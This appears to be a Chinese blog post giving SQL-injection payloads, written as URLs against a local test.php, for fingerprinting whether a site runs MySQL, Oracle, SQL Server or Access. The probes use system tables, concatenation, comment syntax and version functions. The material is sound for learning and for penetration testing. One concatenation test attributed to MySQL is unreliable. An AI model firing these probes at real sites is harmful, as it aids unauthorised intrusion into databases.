mysql 判断类型_SQL注入判断数据库类型

页面返回的报错信息判断

默认端口判断

Oracle

port:1521

SQL Server

port:1433

MySQL

port:3306

数据库特有的数据表判断

oracle数据库

http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1

mysql数据库(mysql版本在5.0以上)

http://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1

access数据库

http://127.0.0.1/test.php?id=1 and (select count(*) from msysobjects)>0 and 1=1

mssql数据库

http://127.0.0.1/test.php?id=1 and (select count(*) from sysobjects)>0 and 1=1

数据库特有的连接符判断

mysql数据库

http://127.0.0.1/test.php?id=1 and '1' + '1' = '11'

http://127.0.0.1/test.php?id=1 and CONCAT('1','1')='11'

mssql数据库

http://127.0.0.1/test.php?id=1 and '1' + '1' = '11'

oracle数据库

http://127.0.0.1/test.php?id=1 and '1'||'1'='11'

http://127.0.0.1/test.php?id=1 and CONCAT('1','1')='11'

符号判断

mysql数据库:(1)以" /* "开始,以" */ "结束。(2)或者" # "。

Oracle: 支持单行注释" -- "和多行注释" /* */ "

" ; "是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库

特定函数判断

length() lengthb() char_length()

Oracle: length():表示字符串长度 lengthb():表示字符串的字节长度

mysql:length():返回字符串所占的字节数 char_length():返回字符串的字符数

@@version version()

mysql: @@version或是version()来返回当前的版本信息。

但无法判断是mysql还是mssql时,可以用version()函数来构造判断。

version()>1 返回与@@version>1 相同页面时,则可能是mysql。如果出现提示version()错误时,则可能是mssql。

substring substr

在mssql中可以调用substring(), oracle则只可调用substr()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值